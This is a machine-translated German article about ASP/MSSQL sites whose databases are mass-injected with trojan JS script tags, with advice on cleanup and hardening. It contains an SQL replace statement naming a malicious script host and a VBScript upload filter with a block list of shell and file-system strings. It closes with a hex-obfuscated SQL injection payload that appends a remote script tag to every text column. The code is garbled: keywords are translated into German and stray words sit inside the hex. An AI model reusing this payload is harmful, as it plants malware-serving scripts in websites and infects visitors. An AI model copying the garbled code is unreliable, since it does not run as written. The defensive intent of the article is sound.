Heutzutage haben viele mit ASP+MSSQL erstellte Websites möglicherweise die Erfahrung gemacht, dass ihre SQL-Datenbanken von Hackern in JS-Trojaner eingefügt wurden. Nein, die Website eines Freundes wurde von Hackern getäuscht.
Jedes Varchar- und Textfeld von MSSQL wird automatisch in einen JS-Code eingefügt. Auch wenn dieser Code gelöscht wird und er nicht aus der Quelle gelöst wird, wird der JS-Code in wenigen Minuten automatisch in die Datenbank eingefügt.
Nach der Beobachtung von Piao Yi wird dies wahrscheinlich automatisch vom Programm ausgeführt. Der Hacker sucht zunächst in Suchmaschinen wie Google und Baidu nach anfälligen Websites und scannt dann die gesamte Website mit Injektionsscan-Tools wie Xiao Mingzi Website, sobald eine SQL-Injection-Schwachstelle entdeckt oder hochgeladen wird Wenn es Schwachstellen gibt, nutzen Hacker verschiedene Mittel, um ihre eigenen Trojaner hochzuladen, wie zum Beispiel Haiyang-Trojaner. Dann nehmen die Hacker diese Website in ihre Broiler-Liste auf und fügen jederzeit die JS-Codes hinzu, die sie zur Datenbank hinzufügen möchten Codes sind oft enthalten. Sie enthalten zahlreiche Viren und Trojaner, die letztendlich die Computer von Benutzern vergiften, die kontrollierte Websites besuchen.
Obwohl Sie über den SQL-Abfrageanalysator eine Stapelersetzung durchführen können, um das Problem des eingefügten JS-Codes vorübergehend zu lösen, können Hacker jederzeit in Ihre Website eindringen, wenn Sie die Schwachstellen der gesamten Website, einschließlich Programm- und Serversicherheitsberechtigungen, nicht grundlegend beheben. Website-Datenbank.
Im SQL-Abfrageanalysator können Sie den folgenden Code ausführen, um JS-Code stapelweise zu ersetzen:
Kopieren Sie den Codecode wie folgt:
„Tabellennamen aktualisieren, Feldname festlegen=ersetzen(Feldname,‘<Script Src=http://cn%75clear3.com/css/c.js></Script>‘,'')“
flymorn hat die Website sorgfältig überprüft und mehrere Sicherheitsprobleme festgestellt:
Erstens weist die Website eine Sicherheitslücke beim Hochladen auf. Obwohl für das Hochladen von Dateien eine Administratorauthentifizierung und eine Dateiformatauthentifizierung der hochgeladenen Dateien erforderlich sind, werden bei der Administratorauthentifizierung Cookies verwendet, und Cookies können gefälscht werden Nach dem Aufnehmen des Bildes wird wahrscheinlich der Bildtrojaner hochgeladen.
Lösungen: 1 Löschen Sie die Funktion zum Hochladen von Dateien (nicht praktikabel). 2 Ändern Sie die Überprüfung des Upload-Benutzers in eine Sitzungsüberprüfung. 3 Überprüfen Sie den Inhalt der hochgeladenen Datei und löschen Sie sie :
Kopieren Sie den Codecode wie folgt:
''================ Stellen Sie fest, ob die hochgeladene Datei eine ungültige Zeichenfolge enthält. start================
set MyFile = server.CreateObject("Scripting.FileSystemObject")
set MyText = MyFile.OpenTextFile(Server.mappath(filePath), 1) 'Textdatei lesen
sTextAll = lcase(MyText.ReadAll)
MeinText.close
set MyFile = nichts
sStr="<%|.getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory|.saveas|wscript.shell|script.encode|server.|.createobject|execute|activexobject|sprache="
sNoString = split(sStr,"|")
für i=0 bis ubound(sNoString)
if instr(sTextAll,sNoString(i)) dann
set filedel = server.CreateObject("Scripting.FileSystemObject")
filedel.deletefile Server.mappath(filePath)
setze filedel = nichts
Response.Write("<script>alert('Es liegt ein Problem mit der von Ihnen hochgeladenen Datei vor, der Upload ist fehlgeschlagen!');history.back();</script>")
Antwort.Ende
Ende wenn
nächste
''================== Stellen Sie fest, ob die hochgeladene Datei eine ungültige Zeichenfolge enthält. end====================
Zweitens weist die Website eine Sicherheitslücke bezüglich der Einschleusung von Cookies auf. Um den Serveraufwand zu reduzieren, verwenden alle Benutzer aufgrund des Programmdesigns nach der Anmeldung Cookies. Dieses Cookie speichert die ID und den Namen des Benutzers. Wie wir alle wissen, werden Cookies häufig von Hackern gefälscht. Darüber hinaus verwenden einige externe Parameter nicht strikt request.form und request.querystring, um Inhalte abzurufen. Der Einfachheit halber wird request("id") verwendet.
Wir wissen, dass die ASP-Anfrage den Inhalt zunächst aus Formular und Abfragezeichenfolge erhält. Wenn diese beiden leer sind, wird bei der Programmierung häufig die SQL-Injektion von request.form und request.querystring in Betracht gezogen und request.querystring werden im Allgemeinen für die SQL-Injektion gefiltert, vergessen jedoch, die Injektion im Cookie-Modus zu filtern. Schauen wir uns die folgende SQL-Anweisung an:
Kopieren Sie den Codecode wie folgt:
SQL="select * from table name whereid")
Wenn diese ID durch Cookies ihren Wert erhält, dann denken Sie darüber nach, was für eine schreckliche Sache das ist! Der Injektor kann leicht ein gefälschtes Cookie namens „id“ fälschen, da ihm das Cookie mit dieser ID vom Server zugewiesen wird. Dieses Cookie kann in einen Code ähnlich dem folgenden umgewandelt werden:
Kopieren Sie den Codecode wie folgt:
decLaRe @s vArChAr(4000);sEt @s=cAsT(0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c6
15265207441624c655f637572736f5220635572536f5220466f522073456c456354206 IT Talent Network () 12e6e416d452c622e6e416d
452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e694
94420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3
335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f6375
72736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768
696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742
b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275
d29292b27273c2f7469746c653e3c736372697074207372633d687474703a2f2f2536622536622533362532652537
352537332f312e6a733e3c2f7363726970743e27272729206645744368206e6578742046724f6d207441624c655f6
37572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f4
3615465207441624c655f637572736f520d0a as vArChAr(4000));exec(@s);--